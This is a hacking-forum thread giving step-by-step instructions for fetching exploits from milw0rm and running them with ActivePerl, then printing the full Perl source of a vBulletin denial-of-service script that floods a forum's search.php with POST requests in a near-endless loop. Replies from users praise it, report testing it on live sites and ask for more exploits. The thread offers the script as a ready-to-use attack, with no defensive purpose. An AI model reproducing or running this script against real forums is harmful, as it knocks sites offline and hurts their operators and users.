Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] Exploits with Activce Perl

Posted this because of the vBulletin exploit thread.

Active Perl Download link: http://aspn.activestate.com/ASPN/Downloads/ActivePerl/

You need Active Perl, but here are the relevant steps.

---------------------------------

1. First get your exploit, milw0rm.com is a database of exploits.

---------------------------------

2.Now press CTRL+A to select all text then CTRL+C to copy it.

---------------------------------

3.Open notepad and press CTRL+V to paste the text, now in notepad go to File -> Save As... and save it with exploitname.pl in C:\Perl\ . Don't forget the .pl after the name!.

---------------------------------

(Your Perl must be installed in C:\)
4.Now open 'cmd' and type 'cd\' without the quotes,then 'cd perl' without the quotes then 'perl exploitname.pl' without the quotes again.

---------------------------------

5.Now some text will appear.

---------------------------------

6.Now enter this

-> perl exploitname.pl hostIP forumfolder userid somenumber


Then press enter

---------------------------------

vBulletin Exploit found by Hishan:

Code
# VBulletin DoS Exploit

#

# The exploit was tested on 15 machines And 13 of them got Crashed. 98% Works;)

#

# important => Make sure that Image Verification in (search.php) is NOT Enabled.

# It works on 3.6.5 and prior [all] !

#

#Perl Script

use Socket;

if (@ARGV < 2) { &usage; }

$rand=rand(10);

$host = $ARGV[0];

$dir = $ARGV[1];

$host =~ s/(http:\/\/)//eg;

for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999; $i++)

{

$user="h4x0r".$rand.$i;

$data = "s=&do=process&query=$user&titleonly=0&starteronly =0&exactname=1&replyless=0&replylimit=3&searchdate =1&beforeafter=before&sortby=title&order=descendin g&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";

$len = length $data;

$foo = "POST ".$dir."search.php HTTP/1.1\r\n".

               "Accept: */*\r\n".

               "Accept-Language: en-gb\r\n".

               "Content-Type: application/x-www-form-urlencoded\r\n".

               "Accept-Encoding: gzip, deflate\r\n".

               "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".

               "Host: $host\r\n".

               "Content-Length: $len\r\n".

               "Connection: Keep-Alive\r\n".

               "Cache-Control: no-cache\r\n\r\n".

"$data";

     my $port = "80";

     my $proto = getprotobyname('tcp');





     socket(SOCKET, PF_INET, SOCK_STREAM, $proto);

     connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;

     send(SOCKET,"$foo", 0);

     syswrite STDOUT, "|";

}

print "\n\n";

system('ping $host');

sub usage {

print "\tusage: \n";

print "\t$0  \n";

print "\tex: $0 127.0.0.1 /forum/\n";

print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";

exit();

};
hey thnx, i was just searchin for sumthin like this
Glad to help.
is there any new vbulletin exploit found? i rechecked milw0rm but nothing new abt vbulletin
Hmmm, read the bottom of the first post. That is a new vBulletin exploit that works. Tested it this morning.
Tnx nicely explained ✌
# It works on 3.6.5 and prior [all] !

most of them are 3.7.x these days
@ l33t_prototype - It has been tested on 3.8.2 and it worked.

@ tiberianWolf - Cheers!
this wudnt work... i just tried it & it just shows +++++++++++++++++++++++++++++++++++++++++++++++++++ goin on sice past couple of hours. :(
Nice :D Thanks.
how much mb is it ?
what mb are u talkin abt? the size of the site
i need to install it right ?
Size on disk: 82.8 MB (86,863,872 bytes)
htaccess.txt Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed. Vulnerable? ~Yes

can you write tut for this ekploit ? ? ? pls


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Elite_xApr 13, 2025 04:44 PM 4 571 Apr 13, 2025 04:44 PM
Last Post: SS2580G
by Snapback.Mar 19, 2022 02:25 AM 14 1,041 Mar 19, 2022 02:25 AM
Last Post: noone2123
by freepizzaJan 26, 2016 10:41 AM 9 623 Jan 26, 2016 10:41 AM
Last Post: kmz22222